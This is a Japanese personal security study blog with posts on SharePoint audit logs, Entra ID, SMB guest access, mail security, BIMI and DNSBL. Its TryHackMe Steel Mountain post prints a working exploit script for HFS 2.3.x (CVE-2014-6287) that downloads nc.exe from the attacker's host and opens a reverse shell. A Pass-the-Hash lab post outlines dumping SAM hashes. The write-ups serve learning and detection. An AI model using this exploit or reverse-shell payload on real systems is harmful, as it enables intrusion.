家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

SharePointのファイル共有について

SharePointとは

SharePointはMicrosoftが提供する企業向けのサービスで、ファイル等を保存、整理、共有するためのWebサイトを作成することができるサービスです。

SharepointはMicrosoftの他のサービス(Teams、OneDrive)とも関連しており、Teamsでは、チームを作成すると自動的にSharePointのサイトも作成されます。

また、OneDriveとは機能的に似通う部分もありますが、SharePointが組織全体でのファイル共有を目的としたサービスであり、OneDriveは個人のファイルを保存、共有する目的で使用されます。

 

 

 

SharePointのファイル共有

Microsoftの監査ログについて説明したページでは、 SharePointの監査シナリオとして、外部ユーザーと共有されているリソースの識別について解説しています。

 

SharePointのURLについて

SharePointのURLは通常以下の形式となります。

 

https://<テナント名>.sharepoint.com

 

上記の<テナント名>は組織のOffice365テナント名を表します。

また、OneDriveでは以下のようになります。

 

https://<テナント名>-my.sharepoint.com/

 

テナント名の後に「-my」が含まれるものがOneDriveのリンクとなります。

実際に共有するファイルリンクでは「~.com/」以降にそれぞれファイルパスが続く形式となります。

 

URLのイメージ
https://<テナント名>.sharepoint.com/:ファイルの種類:/s/サイト名/ファイルパス

 

ファイルの種類を示す記号には、以下のような記号が使用されます。

  • :x: Excelファイル
  • :w: Wordファイル
  • :p: PowerPointファイル

 

なお、Teams上のファイル等についても同様のリンク構成となりますが、サイト名の後に「-XX」等がつく場合はプライベートチャネルとなります。 (Xは数字等)

 

SharePointの監査ログとファイル共有の見方

SharePointの監査ログには、作成日時や操作等のデータが含まれております。

いくつかあるカラムの内、ファイル共有に関連する内容が含まれているカラムは以下の通りです。

 

Operation

Operationには、ファイルの作成、編集、削除、共有等の記録が含まれています。

共有リンクに関連する操作としては、以下のようなものがあります。

  • SharingLinkCreated(共有リンクの作成)
  • AddedToSharingLink(共有リンクへの追加)

 

AuditData

AuditDataには各アクティビティの詳細情報が含まれています。このカラムはJSON形式で記録されいます。
AuditDataには大量の内容が含まれていますが、共有リンクに関連するものとしては以下のようなものがあります。

 

TargetUserOrGroupName

TargetUserOrGroupNameは、リソースの共有先のユーザーまたはグループのUPN(ユーザー プリンシパル名)または名前を格納するフィールドです。

 

TargetUserOrGroupType

TargetUserOrGroupTypeは、リソースが共有された対象のユーザーまたはグループがどの種類に属するかを識別するフィールドです。含まれる要素には以下のようなものがあります。

  • メンバー:リソースの共有先が組織内のユーザーであることを示します。
  • ゲスト:リソースの共有先が組織外のユーザーであることを示します。

 

EventData

EventDataには、各アクティビティの詳細情報が格納されています。

SharingLinkCreated(共有リンクの作成)やAddedToSharingLink(共有リンクへの追加)では、匿名アクセスのステータスを示す「AllowAnonymousAccess」等の情報が含まれています。

 

上記の内容をみると、監査ログから誰から誰にファイル共有をしているのか、状況を確認することができます。

 

余談:SharePointを運用する上でのチェックポイント

SharePointを運用している中で利用状況を確認する際の確認点としては、上記の様な外部へのファイル共有状況があげられます。

また、他の視点では、ファイルサーバーとしてSharePointを使用している場合、ファイルをローカルにダウンロードするオペレーションは本来は不要なため、 ファイルのローカルへのダウンロード件数等も確認点として有効となる場合があります。

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

learn.microsoft.com

learn.microsoft.com

 

 

 

【Try Hack Me】Steel Mountain

概要

TryHackMeのSteelMountainをやってみました。

Task1~Task3までの流れは以下の動画にまとめています。

youtu.be

 

 

 

Task4について

Task4はmetasploitを使用しないやり方になります。

以下のExploitを使用して攻略することになります。

www.exploit-db.com

 

Python3ではそのままで実行できないため、以下のように修正しました。

#!/usr/bin/python
# Exploit Title: HttpFileServer 2.3.x Remote Command Execution
# Google Dork: intext:"httpfileserver 2.3"
# Date: 04-01-2016
# Remote: Yes
# Exploit Author: Avinash Kumar Thapa aka "-Acid"
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287
# Description: You can use HFS (HTTP File Server) to send and receive files.
#	       It's different from classic file sharing because it uses web technology to be more compatible with today's Internet.
#	       It also differs from classic web servers because it's very easy to use and runs "right out-of-the box". Access your remote files, over the network. It has been successfully tested with Wine under Linux.

#Usage : python Exploit.py  

#EDB Note: You need to be using a web server hosting netcat (http://:80/nc.exe).
#          You may need to run it multiple times for success!


import urllib.request
import sys

try:
	def script_create():
		urllib.request.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+save+".}")

	def execute_script():
		urllib.request.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe+".}")

	def nc_run():
		urllib.request.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe1+".}")

	ip_addr = "自分のIP" #local IP address
	local_port = "自分のポート" # Local Port number
	vbs = r"C:\Users\Public\script.vbs|dim%20xHttp%3A%20Set%20xHttp%20%3D%20createobject(%22Microsoft.XMLHTTP%22)%0D%0Adim%20bStrm%3A%20Set%20bStrm%20%3D%20createobject(%22Adodb.Stream%22)%0D%0AxHttp.Open%20%22GET%22%2C%20%22http%3A%2F%2F"+ip_addr+"%2Fnc.exe%22%2C%20False%0D%0AxHttp.Send%0D%0A%0D%0Awith%20bStrm%0D%0A%20%20%20%20.type%20%3D%201%20%27%2F%2Fbinary%0D%0A%20%20%20%20.open%0D%0A%20%20%20%20.write%20xHttp.responseBody%0D%0A%20%20%20%20.savetofile%20%22C%3A%5CUsers%5CPublic%5Cnc.exe%22%2C%202%20%27%2F%2Foverwrite%0D%0Aend%20with"
	save= "save|" + vbs
	vbs2 = "cscript.exe%20C%3A%5CUsers%5CPublic%5Cscript.vbs"
	exe= "exec|"+vbs2
	vbs3 = "C%3A%5CUsers%5CPublic%5Cnc.exe%20-e%20cmd.exe%20"+ip_addr+"%20"+local_port
	exe1= "exec|"+vbs3
	script_create()
	execute_script()
	nc_run()
except:
	print ("[.]Something went wrong..! Usage is :[.] python exploit.py    Dont forgot to change the Local IP address and Port number on the script")

 

Kaliでncを待ち受け、Kaliの「nc.exe」があるディレクトリでHTTPサーバを立て、上記を実行するとシェルが取れます。

 

HTTPサーバの起動

権限昇格はTask3と同じやり方になります。

 

 

 

「Pass the Hash」攻撃について

概要

「Pass the Hash」攻撃は、Windows端末に対するリモートアクセス時の認証の際に、不正に取得したNTLMハッシュやLMハッシュを使用して、認証を突破する攻撃手法です。 この記事では、攻撃用のKaliと標的となるWindows端末を用意し、実際にKaliからSYSTEM権限を取得した時の内容をまとめます。

 

 

 

検証

環境構築

検証では「Administrator」としてKaliからログインを行います。
デフォルトでは「Administrator」は無効状態であり、パスワードも未設定の為、設定を行います。

 

「Administrator」の有効化

net user administrator /active:yes

「Administrator」のパスワード設定

  1. 「コンピューターの管理」-「ローカルユーザーとグループ」-「グループ」をクリック
  2. 「Administrator」を右クリックして「パスワードの設定」を選択 アラートが出るので「続行」をクリック
  3. パスワードを入力して「OK」をクリック

 

攻撃の流れ

今回の検証はTry Hack Meの以下のコースをもとに行いました。

「Jr PenetrationTester」-「Privilege Escalation」-「Windows Privilege Escalation」-「Abusing dangerous privileges」

 

攻撃の流れとしては以下のようになります。

  1. HKLM\SAMとHKLM\SYSTEMレジストリ ハイブをバックアップする
  2. SAMデータベースからアカウントのハッシュを抽出する
  3. 取得したハッシュを使いPass-the-Hashを実行する

 

実際の動作は以下の通りです。

youtu.be

 

標的端末のログ出力状況

SYSTEM権限を取得した後、標的端末のイベントログを見てみました。 今回使用した「psexec」は使用された場合、イベントビューアー上に痕跡が残ります。

 

アカウントが正常にログオンしました。(イベントID:4624)

「アカウントが正常にログオンしました。(イベントID:4624)」はログオン成功イベントの際に生成されるものです。 AD環境下での認証は通常Kerberosプロトコルが使用されるため、パッケージ名に「Kerberos」と記録されますが、「psexec」による認証があると、パッケージ名が「NTLMv2」と記録されます。 

アカウントが正常にログオンしました

 

サービスがシステムにインストールされました。(イベントID:7045)

「psexec」が使用された際は「サービスがシステムにインストールされました。(イベントID:7045)」のログが記録されます。

このログは実行されたファイルのファイルパスが記録されています。

「psexec」では「%SystemRoot%」配下にファイルがアップロードされ実行されます。 

 

サービスがシステムにインストールされました

今回の環境では、サービス名およびサービスファイル名がランダムな文字列になっています。 これはKali側で実行した際の内容が記録されています。

Kaliの画面(赤線のところにサービス名等が記載されています)

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

blogs.manageengine.jp

milestone-of-se.nesuke.com

github.com

 

 

 

SMB「AllowInsecureGuestAuth」設定の検証

概要

「SMB2とSMB3のゲストアクセスは、Windowsでは既定で無効になっています」という記事で取り上げられている、「AllowInsecureGuestAuth」の設定値による挙動について検証する機会があったので、確認した内容をまとめてみました。

 

SMBとゲストアクセスについて

SMB(Server Message Block)は、主にWindowsで使用される通信プロトコルでファイルやプリンタの共有に使われます。
ゲストアクセスとは、ユーザー名やパスワードの認証なしにネットワークリソースにアクセスできる機能を指します。
上記記事にもある通り、SMB2とSMB3のゲストアクセスはWindowsでは既定で無効になっています。

 

補足:SMBのポートについて

SMBではTCP/139及び445を使用することがあります。これらの違いは以下の通りです。


TCP/139

SMB は元々、TCP/139を使用してNetBIOS上で実行されていました。
NetBIOSは、Windowsが同一ネットワーク上で相互に通信できるようにする古いプロトコルです。

 

TCP/445
SMBの新しいバージョン(Windows 2000 以降)では、TCP/445が使用され始めました。 

 

「AllowInsecureGuestAuth」の効果

上記の設定値を「有効」にした状態で共有フォルダのパスを指定しアクセスすると、認証無しで共有フォルダにアクセスできます。

上記を「無効」にした状態では以下のようなメッセージが表示されます。

エラーのイメージ

上記の記事に以下のような記載があります。

「適切な認証済みプリンシパルではなく、ゲストの資格情報を要求するデバイスに接続しようとすると、次のエラー メッセージが表示される場合があります。」

検証した結果として、ここでいう「適切な認証済みプリンシパル」とはドメインに参加している端末(サーバ)等の意味合いはなく、アクセス時に認証したかどうか(=ゲストアクセスかどうか)を判断する動作になります。

※検証時はドメイン参加のファイルサーバとドメイン不参加のファイルサーバを用意して検証を行いましたが結果は同じでした。

 

参考:認証無しファイルサーバの構築方法

共有フォルダのアクセス制御で「Everyone」に「フルコントロール」の権限を与えても、パスワード認証が求められます。

認証なしでアクセス(ゲストアクセス)を可能にするには「Guest」ユーザーを有効化します。

 

「Guest」ユーザの有効化手順

  1. 「lusrmgr.msc」を起動します。
  2. 「ユーザー」-「Guest」を右クリックしてプロパティを選択します。
  3. 「アカウントを無効にする」のチェックを外します。
  4. 「OK」を押下します。
  5.  

上記設定でパスワード認証なし(ゲストアクセス)で共有フォルダにアクセスできるようになります。

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

masamayu.com

 

tech.willserver.asia

 



 

Entra IDのサインインログについて(旧:Azure AD)

概要

Entra ID(Azure)はMicrosoft 365の認証基盤として利用されています。

この記事ではEntra IDの機能やサインインログについて調べたことをまとめます。

 

※補足:サービス名称の変更

news.microsoft.com

 

 

 

Entra IDの機能

条件付きアクセス

条件付きアクセスとは、Entra IDの認証に対してアクセス制御できる機能です。

Entra IDはあらゆる場所やデバイス、アプリケーションから認証が行える為、誰でも、どこからでも認証試行ができてしまいます。

上記のようなリスクへの対策として条件付きアクセスがあります。

アクセス制御には多要素認証の要求や、Intune登録端末からのみ認証を許可する等の制御ができます。

 

Entra ID Protection

Entra ID Protectionとは、なりすましなどの不正アクセスに関する分析機能です。
この機能によって不正アクセスと判断された場合は、自動的にアクセスをブロックするなどの ID保護機能も有しています。

この機能によるリスク評価には「危険なユーザー」、「危険なサインイン」があります。

また、リスク評価の詳細は、Entra ID Premium P2以上で確認ができ、FreeおよびEntra ID Premium P1では検出のみ可能です。

リスク評価の内容

危険なユーザー 過去インターネット上に流出したことがあるIDとパスワード
危険なサインイン Torや多段プロキシ等を利用し秘匿化されたIPアドレスからのサインイン、普段アクセスしない場所からのサインイン等

※なお、一度上記のリスク判定を受けたユーザであっても、その後のアクセスでアクセスコントロールに合格すると自動的に「修復済み」の状態になります。

 

参考情報

learn.microsoft.com

 

ログの種類や含まれる情報

ログの確認方法

Entra IDのログはポータルから確認することができます。

ログはJSONまたはCSV形式でエクスポート可能ですが、人間の目でチェックするならばCSV形式の方が見やすいです。

JSONではサインイン1件あたりのデータ量がCSV形式よりも多くあり、出力する期間を長くするとエラーとなったり、エクスポートに時間がかかる場合があります。

Entra IDではさまざまな種類のサインインを扱っており、ログも分かれて出力されます。

 

ログの種類

対話型ユーザーサインイン(interactive User Sign-in)」

「対話型ユーザーサインイン(interactive User Sign-in)」はユーザーが認証に必要なパスワードや二要素認証のコードなどを提供する種類のサインインです。

 

非対話型ユーザーサインイン(Non-interactive User Sign-in)

「非対話型ユーザーサインイン(Non-interactive User Sign-in)」は、ユーザーに代わってクライアントアプリやOSコンポーネントが実行するサインインのことです。

対話型ユーザーサインインとは異なり、非対話型ユーザーサインインでは、ユーザーが認証する代わりに、デバイスまたはクライアントアプリケーションがトークンを使用して認証します。

 

上記のトークンについては以下のサイトが参考になりました。

トークンとは、Microsoft 365ユーザーの認証が完了したらアプリケーションに対して発行されるものです。

TeamsやExchange Online等のEntra IDと連携しているクラウド上のサービスにアプリがアクセスしようとした際、そのアプリはユーザーの認証を要求します。

ユーザーがEntra IDで認証すると、Entra IDからサービスにアクセスするためのトークンが発行されアプリに渡されます。

アプリはそのトークンをサービスに提示することでTeams等にアクセスできるようになります。

jpazureid.github.io

 

サインインログには認証結果やその他詳細な情報も含まれています。

例として、多要素認証を設定している環境において認証が成功した際には成功した場合は「MFA completed in Azure AD」と表示されますが、多要素認証が失敗している場合は「MFA required in Azure AD」と出力されます。

上記のような情報から不正アクセスがあった際にはアクセス状況を読み取ることができる場合があります。

learn.microsoft.com

 

また、MFAを設定していてもバイパスされていると思われる事例などもあるようです。

qiita.com

なお、基本的に不正サインインが確認された場合はアカウントの停止やパスワードリセット等の対応が求められます。

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

jpazureid.github.io

www.cloudou.net

azuread.net

 

 

Google Oneのサービスについて(ダークウェブレポート、VPN)

Google Oneとは

Google Oneとは、個人向けGoogleアカウントで利用できるメンバーシッププランのことで、Gmail、Googleドライブ及びGoogleフォトで共有する保存容量を追加購入できるものです。また、上記以外にもいくつかの特典が利用できます。

この記事ではGoogle One特典のうち、ダークウェブレポートVPNについて記載します。

one.google.com

 

 

 

 

ダークウェブレポート

以前はGoogle One限定で利用可能であったダークウェブレポートが無料のアカウントでも活用できるようになったというニュースがありました。

japan.zdnet.com

無料ユーザはメールアドレスのみチェックが可能であり、Google Oneのメンバーシップに加入しているユーザーは、メールアドレス以外に名前、生年月日、住所、電話番号がチェックできます。

プロファイル設定画面

プロファイルに入力した情報がダークウェブ上で確認されるとレポートされます。

※上記の例だと入力したメールアドレスが1件漏洩していることがわかります。

 

上記で検知のある「メール」を選択すると以下のような画面に変わります。

漏洩した情報の確認

上記の赤枠の中には漏洩の原因と思われる企業やサービスの名称が記載されます。

※上記の場合はPeatixの漏洩によるもののようです。

piyolog.hatenadiary.jp

 

VPN

Google Oneで提供されるVPN接続では、アプリやブラウザに関係なくインターネットに接続する際のIPアドレスを隠すことができ、場所を特定されたりするリスクを減らすことができます。

また、通信内容を暗号化できるのでFree Wi-Fi利用時などの情報窃取のリスクを低減できます。

Google OneのVPNでは基本的にON/OFFの操作のみで接続先は自動的に決定するため、特定地域のIPアドレスからのアクセス制御(ジオブロック)の回避には適していません。

support.google.com

 

また、VPNを動作している端末(スマートフォンを想定)でテザリングを有効化(アクセスポイントを有効化)し、他の端末を接続してもVPN経由での通信にはなりません。

 

VPN接続している端末(左)とその配下の端末(右)のグローバルIP

参考にさせていただいたサイト

貴重な情報をありがとうございます。

forest.watch.impress.co.jp

 

 

Microsoft Defender for Office 365のセキュリティ機能について

Microsoft Defender for Office 365とは

旧名称「Office 365 ATP」と呼ばれるもので、2020年9月より「Microsoft Defender for Office 365」に名称変更されたものです。
Microsoft 365 Defenderはスイート名でMicrosoft 365 Defender for Office 365(以下、MDO)とはその中の一つのサービスでOffice365に対する脅威を自動で調査・対応するものです。

 

 

 

MDOにはExchange Online Protection(以下、EOP)、MDO Plan1及び2が含まれています。
それぞれの機能は以下の通りです。

 

EOPの機能

EOP機能一覧

MDO(Plan1)

MDO(Plan1)機能一覧

Safe Attachments(安全な添付ファイル)

Sandboxで添付ファイルの詳細解析に基づいた検出・ブロックする機能。

 

安全なリンク

安全なリンクは、受信したメールに含まれるURLを書き換えて、ユーザーがアクセスする前にOffice 365がURL先が安全かどうかを確認する機能。

learn.microsoft.com

 

MDO(Plan2)

MDO(Plan2)機能一覧

EOPとMDOの位置づけとしてはEOPがメールボックスに配送される前の対策で、MDOがメールボックス配送後の対策となります。

加えてSharePoint上等のコンテンツに対しても対応しているものです。

また、メールの添付ファイルに対する対策として、EOPがシグネチャベースのAVMDOはサンドボックスの技術を使用しております。

learn.microsoft.com

 

Exchangeのメールセキュリティ対策について

EOPは、Microsoftが提供するスパム、マルウェア、その他悪性メールに対するクラウドベースのフィルタリングサービスです。
EOPは、Exchange Onlineメールボックスを持つすべてのユーザに提供されています。

EOPの処理シーケンス

EOPの処理シーケンスについて

1.接続フィルターによる処理
接続フィルターの主な構成要素は以下の通りです。

  • IP許可リスト:このリストに含まれるIPアドレスで指定した送信元メールサーバはスパムフィルター処理がスキップされます。
  • IPブロックリスト: このリストに含まれるIPアドレスで指定した送信元メールサーバからの受信メッセージはすべてブロックされます。
  • セーフリスト: Microsoft独自の許可リストです。セーフリスト上にあるメールサーバはスパムフィルター処理がスキップされます。

接続フィルターの判定にはMS独自の情報とサードパーティに情報が含まれており、それに基づいて送信元のサーバを評価します。

有害と判定された場合はメールが破棄されログに記録されません。EOPで取得できるのは接続フィルターの通過したメールのみとなります。


2.マルウェア対策
メッセージまたは添付ファイルにマルウェアが見つかった場合、メッセージは検疫に配信されます。

特定の送信者からのメールはマルウェア判定を回避するなどといった設定による回避はできません。

ただし、パスワード保護されたZipについては、ファイルの中をスキャンすることができないため、マルウェアの処理が回避されます。

 

補足:検疫の保持期間

  • スパムフィルター、バルクメール : 既定15日 (1日~30日で変更可)
  • マルウェアフィルター、フィッシング : 15日間(変更不可)
  • トランスポート ルール : 7 日間 (変更不可)

 

 

マルウェアの 0 時間自動消去 (ZAP)

配信後にマルウェアが含まれていると検出されたメール(未読を含む)は、ZAPにより検疫されます。

ZAPは、「マルウェア対策ポリシー」で既定で有効になっています。

 

3.トランスポートルールによる処理
作成したメールフロールール(トランスポートルール)に従って配送処理が行われます。Microsoft Purviewデータ損失防止 (DLP) チェックもこの時点で行われます。

 

4.コンテンツフィルターによる処理
受信メールについて、高確度スパム、フィッシング、高確度フィッシング、バルク (スパム対策ポリシー) 、スプーフィング (フィッシング対策ポリシーのスプーフィング設定) に分類されます。

 

5.受信者へ配送
上記のフィルターを通過するとユーザのメールボックスに配信されます。

 

learn.microsoft.com


余談:バルク苦情レベルとは

EOPはバルクメールに一括苦情レベル (BCL) を割り当てます。

BCLはXヘッダーに追加されるもので、BCL が高いほどスパムである可能性が高い判定となります。

learn.microsoft.com

 

余談:EOP/MDOの推奨設定値

learn.microsoft.com

 

余談:送信者スパムとは
送信スパムとは内部から外部へ送信したメールがスパム判定を受けた場合に動作を制御するものです。

送信スパムとして判定された場合は、配信が制御されるのではなく、別のIPアドレスプールの経路(高リスク配信プール)を通り配送されます。

高リスク配信プールから送信されたメッセージは、受信サーバ側でスパム判定される可能性が高くなります。

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

zenn.dev

it-bibouroku.hateblo.jp

atmarkit.itmedia.co.jp

www.jbsvc.co.jp

 

 

 

 

不審なSMSに記載されたURLにアクセスしてみた

概要

自分のスマートフォンに不審なSMSが届きました。

URLにある「e」や「o」の部分が太字になっていて、今まで見たことがなかったので調べてみました。

なお、太文字のように見えるものは数学用英字というもので、SMSで使用されるUnicodeの表現の一つだそうです。

受信したSMS

 

アクセスの様子

気になったのでURLにアクセスしてみました。

youtu.be

 

なお、動画内でUAの変更を試していますが、EdgeでUAを変更するのは以下の方法もあります。

開発者ツールよりUAを変更する方法①

 

開発者ツールよりUAを変更する方法②

参考にさせていただいたサイト

貴重な情報をありがとうございます。

www.itmedia.co.jp

 

 

 

 

正規メールにロゴが表示される「BIMI」について

はじめに

9月6日に以下のようなニュースがありました。
タイトルにある「BIMI」について調べたことをまとめました。

 

「Yahoo! JAPANから配信するメールにアイコンが表示される規格「BIMI」を導入」

about.yahoo.co.jp

 

 

 

BIMIとは

BIMI(Brand Indicators for Message Identification)とは、DMARCで検証されたメールに対して送信元組織のロゴマークを表示する仕組みです。
DMARCの普及促進や、メール受信者が正式なメールであるかを識別するためのサポートを目的としたものです。
具体的な例として、Gmail(Googleは2021/7/13にBIMIに対応)等のBIMIに対応しているメールでは、メールの送信元の脇にロゴが表示されるようになります。

※以下の例ではYahoo!のロゴが表示されています。

表示されるロゴの例

 

なお、対応している組織は以下のサイトでも確認できます。

bimigroup.org

 

ロゴが表示される認証メールの仕組み

上記の様なロゴ付きのメールが表示されるには以下の機能が必要になります。

 

ロゴが表示される認証メール=DMARC+BIMI+VMC

 

DMARCの検証

DMARCはSPF+DKIMによるメール送信者の認証方式です。
内容については以下のページも参照いただければと思います。

www.iestudy.work

 

BIMIの検証

  • Fromのドメインに対してDKIMとSPFの両方が有効
  • SPFは「-all」
  • DNSからBIMIレコードの取得しロゴ及び証明書の取得・検証

BIMIではDNSのTXTレコードにロゴや証明書を情報を登録します。
BIMIのレコードは以下の形式で登録されています。

 

selector._bimi.送信元のドメイン TXT“v=BIMI1; l=https://../ロゴ.svg; a=https://../VNC証明書”

※selectorの部分は指定されていなければdefaultとなります。


Yahooの例では以下の様に登録されています。

> set type=txt
> default._bimi.mail.yahoo.co.jp

権限のない回答:
default._bimi.mail.yahoo.co.jp  text =

        "v=BIMI1; l=https://bimi.west.edge.storage-yahoo.jp/yahoo_japan_corporation_224791083.svg; a=https://bimi.west.edge.storage-yahoo.jp/yahoo_japan_corporation_224791083.pem"
>

 

l=にあるURLにアクセスすると実際のロゴが表示されます。

※先ほどのメールに表示されていたY!のロゴが表示されます。

登録されているロゴ画像

 

また、ロゴが正しいものかの検証にはa=の後にある証明書を使用します。
その証明書がVMC証明書(Verified Mark Certificate)というものになります。

VMCはSSLのEV証明書のようなもので、ドメイン名が正しいこと、実在する会社であること、また、ロゴが正しいことを証明します。

VMC証明書は現在DigicertとEntrustからのみ発行され、また、ロゴは商標登録されている必要があります。

 

最近の動向として

2022年9月にAppleがBIMIに加わり、2022年秋にリリースのiOS16では、メールアプリにおいて、正規メールにはその企業のロゴが表示されるようになるそうです。

今後エンドユーザへメール配信を行うような企業(金融機関やクレジットカード会社)が、BIMIに対応することでフィッシングメールの被害が減るかもしれません。

brandkeeper.jp

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

techblog.yahoo.co.jp

https://www.janog.gr.jp/meeting/janog49/wp-content/uploads/2021/12/bimi-pre_hirano_20220126.pdf

 

 

DNSBLについて調べてみた

概要

DNSBL(DNS Block List等)とは主にスパム配信に関係するIPアドレスの一覧を確認するのに使われているものリストです。

メールを受信したサーバはDNSBLに問い合わせを行うことで、送信元のIPアドレスがリストに載っているか否かを知ることができ、リストの登録状況に基づいて受信拒否などの処理が行えます。

同様のリストには以下のようなものもあります。

  • RBL (Real-time Blackhole List)
    RBLは、「Realtime Blackhole List」や「Realtime BlackList」の略などと言われますが、ウイルスやスパムを送信している可能性のあるメールサーバの情報(IPアドレス)を集めたリストです。
  • DNSWL(DNS Whitelist)
    DNSBLと同じ仕組みを使って、ブラックリストではなくてホワイトリストを提供するサービスです。
  • RHSBL(Right Hand Side Blacklist)
    DNSBLではIPアドレスを公開していますが、RHSBLはドメイン名を公開しています。
  • URIBL(Uniform Resource Identifier Blacklist)
    メールの本文で言及されているウェブサイトのURIの中に出現するドメイン名とIPアドレスの一覧です。

 

 

 

主なDNSBL

Spamhaus

www.spamhaus.org

 

SpamCop

www.spamcop.net

 

MXToolBox

mxtoolbox.com

 

また、以下のサイトでは各DNSBL登録状況を確認することができます。

www.dnsbl.info

 

 

DNSBLの確認の仕方

DNSBLはDNSクエリとして確認することができます。

  1. 送信元IPアドレス(例:1.2.3.4)のバイト順を逆転させ 4.3.2.1とする。
  2. これにDNSBLのドメイン名を連結し4.3.2.1.dnsbl.example.netとする。
  3. これをドメイン名としてDNSで問い合わせる。
  4. DNSBLに載っていればクライアントが一覧にあれば127.0.0.XXといったアドレスが返ってくる。
    DNSBLに載っていなければ "NXDOMAIN" ("No such domain") というコードが返ってくる。

実際の操作イメージは以下の通りです。

DNSBLの問い合わせイメージ

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

ja.wikipedia.org

tex2e.github.io

www.pochaneko.com

https://www.janog.gr.jp/meeting/janog23/doc/d1p6.pdf